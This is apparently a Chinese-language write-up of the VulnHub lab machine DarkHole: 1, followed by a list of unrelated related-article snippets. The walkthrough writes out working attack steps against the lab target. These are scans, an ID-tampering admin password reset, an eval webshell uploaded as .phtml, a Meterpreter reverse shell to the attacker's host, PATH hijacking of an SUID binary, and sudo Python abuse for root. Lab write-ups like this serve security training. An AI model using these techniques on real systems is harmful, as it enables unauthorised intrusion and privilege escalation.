[vulnhub] DarkHole: 1
https://www.vulnhub.com/entry/darkhole-1,724/
端口扫描主机发现
-
探测存活主机,
184是靶机nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.1 Host is up (0.00027s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00016s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.184 Host is up (0.00032s latency). MAC Address: 00:0C:29:61:C5:52 (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00018s latency). MAC Address: 00:50:56:FE:CA:7A (VMware) Nmap scan report for 192.168.75.151 -
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.184 Host is up (0.0011s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:61:C5:52 (VMware) -
探测服务版本以及系统版本
nmap -sV -sT -O -p 80,22 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.184 Host is up (0.0022s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:61:C5:52 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -
扫描漏洞
nmap -script=vuln -p 80,22 192.168.75.184 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST Nmap scan report for 192.168.75.184 Host is up (0.00057s latency).PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184 |_http-dombased-xss: Couldn't find any DOM based XSS. | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' MAC Address: 00:0C:29:61:C5:52 (VMware)
web渗透
-
访问主页,存在登录页面链接

-
先扫描目录看看
dirsearch -u http://192.168.75.184 -x 403,404 // [10:07:48] Starting: [10:07:48] 301 - 313B - /js -> http://192.168.75.184/js/ [10:08:10] 301 - 317B - /config -> http://192.168.75.184/config/ [10:08:10] 200 - 460B - /config/ [10:08:11] 301 - 314B - /css -> http://192.168.75.184/css/ [10:08:12] 200 - 21B - /dashboard.php [10:08:21] 200 - 487B - /js/ [10:08:23] 200 - 1KB - /login.php [10:08:24] 302 - 0B - /logout.php -> login.php [10:08:35] 200 - 1KB - /register.php [10:08:45] 301 - 317B - /upload -> http://192.168.75.184/upload/ [10:08:45] 200 - 456B - /upload//dashboard.php无权限/upload上传文件夹/config存在database.php
-
登陆页面存在注册,我们注册用户
test登录进去后发现可以
update信息以及更改密码,感觉会存在注入
-
测试是否存在注入
-
Details Update部分使用
sqlmap测试没找到注入点 -
Password Change部分这部分没注入….但是修改密码区域可以抓包将传入的
id值修改,我们可以将其修改为id=1的用户(可能是管理用户)POST /dashboard.php?id=2 HTTP/1.1 Host: 192.168.75.184 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://192.168.75.184 Sec-GPC: 1 Connection: keep-alive Referer: http://192.168.75.184/dashboard.php?id=2 Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu Upgrade-Insecure-Requests: 1 Priority: u=0, ipassword=123456&id=1成功将包发送,提示
Password has been change
-
-
登陆后台,用户名使用
admin,密码是用修改后的123456,成功进入
多了个上传文件框
-
尝试文件上传上传🐎
-
直接上传
2.php,内容是一句马,提示:Sorry , Allow Ex : jpg,png,gif看着像是白名单 -
尝试了一下,不只是可以上传
jpg,png,gif,其他文件也可以,所以更像是把php类的文件后缀放进黑名单了 -
这里涉及到一些文件上传
CTF的套路,我们将php改为其他可以解释为php文件的后缀,我将其修改为phtml,上传成功(我是抓包后修改的,也可以直接修改文件后缀然后直接上传)Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml" Content-Type: application/octet-stream<?php @eval($_POST[x]); ?> -
上传的文件保存在了
/upload路径,测试能否使用
可以正常包含
-
-
使用蚁🗡连接

提权
-
我们先反弹
shell,靶机自带的nc不支持-e,所以我们需要上传反弹shell脚本然后包含-
生成脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1115 bytes -
在蚁🗡将脚本上传
upload文件夹里
-
kali打开msf监听msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.75.151 lhost => 192.168.75.151 msf6 exploit(multi/handler) > set lport 1234 lport => 1234 msf6 exploit(multi/handler) > run -
网页访问上传的脚本文件

-
获得
shell[*] Started reverse TCP handler on 192.168.75.151:1234 [*] Sending stage (39927 bytes) to 192.168.75.184 [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800meterpreter >输入shell获得shell命令行
-
-
查看权限
$ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ uname -a Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux -
寻找利用点
-
SUID权限
$ find / -perm -u=s -type f 2>/dev/null /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/su /usr/bin/at /usr/bin/umount /usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/fusermount /usr/bin/newgrp /usr/bin/mount /home/john/toto/home/john/toto这个一看就不对劲 -
数据库配置文件
$ cat database.php <?php $connect = new mysqli("localhost",'john','john','darkhole');可以尝试密码碰撞
ssh,但是密码错误
-
-
来到
/home/john/,下有四个文件$ ls file.py password toto user.txt但是除了
toto有读和执行权限,别的都没有权限,前面suid也搜索出了toto,尝试利用 -
利用
toto-
因为不知道有什么作用,我们直接执行
$ ./toto uid=1001(john) gid=33(www-data) groups=33(www-data) -
我们通过蚁🗡下载该文件下来,使用
IDA反编译看看写了啥int __fastcall main(int argc, const char **argv, const char **envp) {setuid(0x3E9u);setgid(0x3E9u);return system("id"); }设置
UID然后设置GID最后输出ID命令 -
劫持环境变量
因为他会执行
id,所以我们修改环境变量让他执行id的时候执行/bin/bash$ echo "/bin/bash" > /tmp/id $ chmod 777 /tmp/id $ export PATH=/tmp:$PATH$ export PATH=/tmp:PATH设置/tmp为环境变量的开头,那样就可以一开始就去/tmp寻找id也就是/bin/bash执行
toto,获得john的shell$ ./toto john@darkhole:/home/john$
-
-
获得
john的用户后查看之前没权限看的文件-
password是john的密码,我们用它去ssh登录john获得更好的用户交互shelljohn@darkhole:~$ cat password root123 -
file.py是空的ohn@darkhole:~$ cat file.py -
user.txt一个flagjohn@darkhole:~$ cat user.txt DarkHole{You_Can_DO_It}
-
-
寻找利用点
-
查看
sudo权限john@darkhole:~$ sudo -l [sudo] password for john: Matching Defaults entries for john on darkhole:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser john may run the following commands on darkhole:(root) /usr/bin/python3 /home/john/file.py可以使用
root权限执行file.py文件,哦豁,可以提权了 -
编辑
file.py文件,将提权语句写入file.pyehco "import os;os.system('/bin/bash');" >> file.py -
使用
sudo权限执行john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py root@darkhole:获得root!!!
-
-
读取
flag文件root@darkhole:~# cat root.txt DarkHole{You_Are_Legend}
相关文章:
[vulnhub] DarkHole: 1
https://www.vulnhub.com/entry/darkhole-1,724/ 端口扫描主机发现 探测存活主机,184是靶机 nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST Nmap scan report for 192.168.75.1 Host is up (0.00027s latency). MA…...
商淘云连锁企业管理五大功能 收银系统助力门店进销存同步
连锁企业管理的五大功能相互协作,共同确保连锁门店能够高效运营、降低成本、提升客户满意度,并最终实现盈利目标。今天,商淘云分享连锁企业管理的五大功能: 1、进销存管理:进销存管理是连锁企业的基础功能之一…...
统信UOS开发环境支持Perl
UOS凭借广泛的编程语言支持,为开发者构建了一个高效灵活的开发环境,无需担心环境兼容性问题。 文章目录 一、环境部署1. Perl开发环境安装2. Perl开发环境配置环境变量配置模块管理器编辑器集成调试工具二、代码示例文件处理Web开发三、常见问题1. 依赖管理问题2. 性能问题3.…...
Stable Diffusion Web UI - ControlNet 姿势控制 openpose
openpose 是 ControlNet 中常用的控制模式之一。 通过 openpose 可以锁定人物姿势,把姿势信息传递给 Stable Diffusion 扩散模型,让其在扩散生成图片的时候遵照特定的任务姿势。 通过 openpose 能够得到类似如下效果: 同样的姿势࿰…...
java中Json字符串转换
文章目录 map与json互转map转jsonmap形式的json转map list与json互转list转jsonlist形式的json转list map形式的json串中含有列表转列表 map与json互转 map转json JSONObject.toJSONString(map); public static void main(String[] args) {Map<String, Object> map n…...
springboot处理跨域请求
在Spring Boot中处理跨域请求(CORS, Cross-Origin Resource Sharing)通常有几种方法。跨域请求是指从一个域名的网页去请求另一个域名下的资源。为了安全起见,浏览器会阻止这种请求,除非服务器明确允许。 方法一:使用…...
S32G-VNP-RDB2开发环境搭建
下载官方镜像 刷机 cat /proc/partition or df -lh //查看sdcard卡再/dev目录挂在点 export DEVSD/dev/sdb sudo dd iffsl-image-auto-s32g274ardb2.sdcard of${DEVSD} bs1M && sync以上将SD-card插入就可以将开发板启动,串口接UART1,进入Lin…...
分布式唯一ID生成(二): leaf
文章目录 本系列前言号段模式双buffer优化biz优化动态step源码走读 雪花算法怎么设置workerId解决时钟回拨源码走读 总结 本系列 漫谈分布式唯一ID分布式唯一ID生成(二):leaf(本文)分布式唯一ID生成(三&am…...
【开发工具】Git
目录 核心概念基本命令工作流程Commit message Git 是一个分布式版本控制系统,用于跟踪在软件开发过程中对文件的修改。它允许多个开发者协作处理项目,并且可以有效地管理代码的历史记录。以下是 Git 的一些核心概念和功能: 核心概念 仓库 (R…...
【go从零单排】结构嵌套struct embedding
🌈Don’t worry , just coding! 内耗与overthinking只会削弱你的精力,虚度你的光阴,每天迈出一小步,回头时发现已经走了很远。 📗概念 在Go语言中,结构体嵌套(struct embedding)是一…...
Django 详细入门介绍
Django 详细入门介绍 1. 什么是 Django? Django 是一个开源的、用 Python 编写的 Web 框架。它遵循了“快速开发”和“不要重复自己”(DRY)的设计原则,旨在简化复杂的 Web 开发。Django 提供了多种强大的功能模块,如…...
万字长文解读深度学习——循环神经网络RNN、LSTM、GRU、Bi-RNN
🌺历史文章列表🌺 深度学习——优化算法、激活函数、归一化、正则化深度学习——权重初始化、评估指标、梯度消失和梯度爆炸深度学习——前向传播与反向传播、神经网络(前馈神经网络与反馈神经网络)、常见算法概要汇总万字长文解读…...
HDR视频技术之二:光电转换与 HDR 图像显示
将自然界中的真实场景转换为屏幕上显示出来的图像,往往需要经过两个主要的步骤:第一个是通过摄影设备,将外界的光信息转换为图像信息存储起来,本质上是存储为数字信号;第二个是通过显示设备,将图像信息转换…...
【Linux】Linux入门实操——vim、目录结构、远程登录、重启注销
一、Linux 概述 1. 应用领域 服务器领域 linux在服务器领域是最强的,因为它免费、开源、稳定。 嵌入式领域 它的内核最小可以达到几百KB, 可根据需求对软件剪裁,近些年在嵌入式领域得到了很大的应用。 主要应用:机顶盒、数字电视、网络…...
Redis的缓存问题与应对策略
Redis 作为一种高效的缓存系统,在高并发环境下应用广泛,但也面临一些缓存问题,以下是常见问题及其应对策略。 1. 缓存穿透 问题描述 缓存穿透是指请求的数据在缓存和数据库中都不存在,但大量请求直接到达数据库,从而给…...
Java项目实战II基于Spring Boot的智慧生活商城系统的设计与实现(开发文档+数据库+源码)
目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发,CSDN平台Java领域新星创作者,专注于大学生项目实战开发、讲解和毕业答疑辅导。 一、前言 随着科技的飞速发展,人们的…...
每日一题之成绩排序
在N(N<30)名运动员参加的体操比赛中,有K(K<10)名裁判给每位运动员分别打分, 按规则每名运动员最后得分需去掉一个最高分和一个最低分, 然后把其他裁判的打分相加,计算得出该运…...
QT Widget:使用技巧
1、Qt中的QString和const char *之间转换,最好用toStdString().c_str()而不是toLocal8Bit().constData(),比如在setProperty中如果用后者,字符串中文就会不正确,英文正常。 2、数据库处理一般建议在主线程,如果非要在…...
深入Zookeeper节点操作:高级功能与最佳实践
Zookeeper之节点基本操作(二) 在《Zookeeper之节点基本操作(一)》中,我们介绍了如何创建、读取、更新、删除节点的基本操作。接下来将进一步探讨Zookeeper中节点的进阶操作和更多细节,包括节点的监视&…...
【C++】map和set的介绍及使用
前言: map和 set 是 C STL(标准模板库)中的两种非常重要的容器,它们基于一种叫做平衡二叉搜索树(通常是红黑树)的数据结构来实现。在 C 中,map 是一个键值对容器,set 只存储唯一的键…...
AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...
华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...
并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...
